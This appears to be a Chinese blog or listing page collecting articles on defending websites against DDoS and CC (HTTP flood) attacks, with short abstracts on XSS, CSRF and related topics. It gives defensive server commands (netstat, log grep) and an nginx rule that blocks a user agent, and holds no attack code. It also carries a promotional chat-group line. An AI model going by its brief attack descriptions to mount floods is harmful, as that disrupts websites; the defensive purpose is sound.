    欢迎加裙 499七五4614学习交流,备注cs.
    通常,攻击者将攻击程序通过代理程序安装在网络上的各个“肉鸡”上,代理程序收到指令时就发动攻击。
    随着DDOS攻击的成本越来越低,很多人就通过DDOS来实现对某个网站或某篇文章的“下线”功能,某篇文章可能因为内容质量好,在搜索引擎有较高的排名,但如果因为DDOS导致网站长时间无法访问,搜索引擎则会将这篇文章从索引中删除,网站的权重也会降低,因为达到了“下线”文章的目的。
    对付DDOS不太容易,首先要找一个靠谱的主机供应商,我之前有个主机供应商,一发现某个IP被DDOS,就主动屏蔽这个IP好几天,实际上就是硬件和技术能力不足的表现。
    国外的主机供应商也未必靠谱,比如之前有次被DDOS,我就把博客转到Dreamhost的空间,事实表明Dreamhost的防DDOS的能力不敢恭维,DDOS来了之后,Dreamhost对付DDOS倒是不客气,直接把中国地区的IP全给屏蔽了。
    一般来说,DDOS是需要花钱和带宽的,解决DDOS也需要花钱和带宽,那么,如果服务器被DDOS了,我们应该怎么办呢?
    网站被DDOS攻击的防御方法 建站工具 建站方向 网站运营 好文分享 第1张

    1、保证服务器系统的安全

    首先要确保服务器软件没有任何漏洞,防止攻击者入侵。确保服务器采用最新系统,并打上安全补丁。在服务器上删除未使用的服务,关闭未使用的端口。对于服务器上运行的网站,确保其打了最新的补丁,没有安全漏洞。
    2、隐藏服务器的真实IP地址

    不要把域名直接解析到服务器的真实IP地址,不能让服务器真实IP泄漏,服务器前端加CDN中转(免费的CDN一般能防止5G左右的DDOS),如果资金充裕的话,可以购买高防的盾机,用于隐藏服务器真实IP,域名解析使用CDN的IP,所有解析的子域名都使用CDN的IP地址。此外,服务器上部署的其他域名也不能使用真实IP解析,全部都使用CDN来解析。
    总之,只要服务器的真实IP不泄露,5G以下小流量DDOS的预防花不了多少钱,免费的CDN就可以应付得了。如果攻击流量超过10G,那么免费的CDN可能就顶不住了,需要购买一个高防的盾机来应付了,而服务器的真实IP同样需要隐藏。

    展开全文
  • NGINX防御CC攻击教程

    2018-11-10 19:00:53
    CC攻击即http flood,以攻击成本低(只需数台http代理服务器即可实现攻击)、隐蔽强(中小CC攻击一般不会造成网络瓶颈)、难防御(与正常访问的请求很难区分开)、威力强大(造成和DDOS流量攻击一样的效果,网站长...

    CC攻击即http flood,以攻击成本低(只需数台http代理服务器即可实现攻击)、隐蔽性强(中小CC攻击一般不会造成网络瓶颈)、难防御(与正常访问的请求很难区分开)、威力强大(造成和DDOS流量攻击一样的效果,网站长时间无法打开)等特点著称。常规的http flood防御为JS弹回,二次请求验证加入白名单 和 多层缓存(七层、四层共同缓存)实现防御体。 
     
     
    CC攻击,首先造成的后果往往是被攻击服务器CPU爆满、内存占用高、甚至磁盘IO高占用。通常服务器上有永远处理不完的任务,所以,CC攻击,也是以拒绝服务为目的的攻击,属于DDOS攻击中的一种。 
     
     
    那么CC攻击应该如何防御呢? 
     
     
    首先站长朋友需要冷静下来,对手攻击你的项目,目的就是要你自乱阵脚,冷静下来,才好准备拔剑迎战。 
     
     
    分析量有多少: 

    ?

    1

    netstat -an | grep ':80 ' -c

     

    这是判断80端口的连接数,用这个数字与网站上第三方统计代码相比对,如果差距悬殊,甚至服务器卡到统计不出来,那么就肯定是CC攻击。 
    如果资源占用太高甚至SSH命令执行都困难,先暂停一段时间的WEB服务(不要觉得失去什么,服务已经无法访问,何必留着继续耗资源?) 
     
     
    1.新手必备:限制访问速率 
    使用http://tengine.taobao.org/document_cn/http_limit_req_cn.html中的CONF字段配置限制语句 #详细后续编辑# 
     
     
    2.擒贼擒王:找出攻击共同特征 
    按连接数排序 

    ?

    1

    netstat -nat|grep ":80"|awk '{print $5}' |awk -F: '{print $1}' | sort| uniq -c|sort -n

     

    找出连接数最大的IP(假设是22.00.**.11),在日志中匹配 

    ?

    1

    cat /log/nginx/access.log | grep "22.00.**.11" | more

     

    找出访问日志中攻击者所用工具的特征,然后尝试在conf中封禁掉。 
     
     
     
    3.报仇不留情:封禁 
     
     
    假如攻击者使用工具的UA包含“Bench”字段,那么可以在conf中屏蔽掉: 
     

    ?

    1

    2

    3

    4

    5

    location /{

        if ( $http_user_agent ~ "Bench" ) {

            return 444;

        }

    }

      

     
     
     
     
     
    附录:常见防御CC攻击算法

    日志分析 
    将日志中访问频率过高的IP封禁 
    将日志中不符合人的特征的IP封禁(同一URL访问不合理次数等等) 原创网址:https://www.cnblogs.com/terryguan/p/4602599.html

    展开全文
  • 前端安全问题防御,及前端常见安全问题的攻击原理。 xss跨站脚本攻击 Cross Site Scripting 如何进行:XSS跨站脚本攻击是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些...
  • my-arsenal-aws-security-tools:用于AWS安全的开源工具列表:防御性攻击性,审计,DFIR等
  • 拒绝服务攻击(DoS)是Internet中常见的一种攻击形式,提出一种基于覆盖网络的防御DoS攻击的方案。通过覆盖网络中的冗余资源和自恢复功能确保系统在遭到DoS攻击时仍能提供一定性能的服务,并可自动从攻击中恢复正常...
  • 以深度学习为主要代表的人工智能技术正在悄然改变人们的生产生活方式,...研究针对深度学习模型的攻防分析基础理论与关键技术,对深刻理解模型内在脆弱、全面保障智能系统安全、广泛部署人工智能应用具有重要意义。
  • 平移不变攻击对可转移对抗示例的防御
  • 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的...
  • 用卷积滤波器matlab代码通过选择特征再生防御普遍攻击(CVPR 2020) 介绍 事实证明,深度神经网络(DNN)的预测容易受到精心制作的对抗干扰的影响。 具体来说,添加到任何图像的不可知论(通用对抗)扰动可能会...
  • 很棒的图攻击和防御论文 该存储库旨在提供有关图数据或GNN(图神经网络)的对抗性攻击和防御的工作的链接。 内容 (根据攻击目标分类) ... 图形数据的对抗性和防御性:一项调查。 孙立超,王继,
  • NetBouncer防御DDoS攻击

    千次阅读 2019-05-05 21:48:56
    2 目前的DDoS防护与合法过滤的DDoS防护(NetBouncer)的对比 2.1 相关工作 2.2 基于客户端合法的DDoS防护 2.3 策略与合法测试的例子 3 集成合法与Qos 3.1 合法的权重和成本 3.2 基于合法权重和服....
  • 如何防御CSRF攻击

    2020-12-28 01:43:39
    1会话和cookie 会话(session)这一术语通常有两重含义。...出于安全和性能的考虑,通讯上下文通常保存在服务器端。为了让服务器可以同时服务多个客户端,区分不同客户端的上下文,服务器为每个.
  • CSRF防御攻击原理

    2020-11-25 09:57:01
    CSRF跨站点请求伪造(Cross—Site Request Forgery),存在巨大的危害,你可以这样来理解: ​ 攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个...
  • 拒绝服务攻击(DoS)是Internet中常见的一种攻击形式,提出一种基于覆盖网络的防御DoS攻击的方案。通过覆盖网络中的冗余资源和自恢复功能确保系统在遭到DoS攻击时仍能提供一定性能的服务,并可自动从攻击中恢复正常。
  • DDOS攻击防御

    2017-12-28 14:13:00
    DDOS攻击防御 DDos攻击流量大、攻击次数频繁、发起攻击成本低,本质上是攻击发起者通过控制大量的僵尸网络对站点进行分布式攻击。 DNS Query Flood就是攻击者操纵大量傀儡机器,对目标发起海量的域名...
  • 考虑DoS攻击对电力信息物理系统的影响,提出一种电力网络控制系统脆弱节点的检测方法和... IEEE 9节点系统用于仿真验证,充分验证了算法的可行和可靠,并针对该9节点电力网络控制系统,给出了具体的网络攻击防御策略.
  • Graph-Adversarial-Learning:图形数据的对抗性攻击防御的精选集合
  • 如何有效防御xss攻击

    千次阅读 2018-05-23 14:52:17
    XSS又称CSS,全称Cross SiteScript(跨站脚本攻击), XSS攻击类似于SQL注入攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害。其原理是攻击者向有XSS漏洞的网站中输入...
  • 如何防御ddos攻击

    2019-06-17 16:47:42
    DdoS攻击是利用一批受控制的机器向一台机器发起攻击,这样来势迅猛的攻击令人难以防备,因此具有较大的破坏。如果说以前网络管理员对抗Dos可以采取过滤IP地址方法的话,那么面对当前DdoS众多伪造出来的地址则显得...
  • 网站服务器,顾名思义,就是专门...1、业务数据的备份,是每个企业的技术人员都必须要做的事情,也是非常重要的,这样能保证数据的完整,这样才能在服务器遭受攻击之后或者系统故障等问题之后为企业所带来的一系列...
  • 互联网的发展给大家带来的很多的便利,也有很多的业务机会,带来很多利益,但凡事都有两面,有利益也会有危害,例如黑客会通过互联网进行攻击,导致企业损失。DDOS就是黑客常用的攻击手段,也是企业惧怕的一件事,...
  • 摘要: 随着计算机网络的不断发展,全球信息化已成为人类发展的大趋势。但由于计算机网络具有联结形式多样、终端分布不均匀和网络的开放、互连等特征,...关键字: 网络威胁 加密技术 网络防御 网络攻击 防火墙
  • 防御网站攻击 1

    2011-10-14 15:45:00
    最近公司的网站需要提高安全。防止用户的恶意攻击。 分为几种攻击 1.XSS跨站脚本攻击. 2.SQL注入攻击. 以前没觉得web可以这么轻易的被攻击。用Netsparker工具扫描了一下网站发现sql注入和跨网脚本攻击.(这个软件...
  • 图对抗学习文学:关于图结构数据的对抗性攻击防御论文精选清单
  • 分布式拒绝服务攻击(DDoS)是一种特殊形式的拒绝服务攻击。它是利用多台已经被攻击者所控制的机器对某一台...由于它通过利用一批受控制的机器向一台机器发起攻击,来势迅猛,而且往往令人难以防备,具有极大的破坏
  • 游戏盾是针对游戏行业面对的DDoS、CC攻击推出的针对的网络安全解决方案,相比高防IP,除了能针对大型DDoS攻击(T级别)进行有效防御外,还具备解决游戏行业特有的TCP协议的CC攻击问题能力,防护效果突出。...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,452
精华内容 980
关键字:

防御性攻击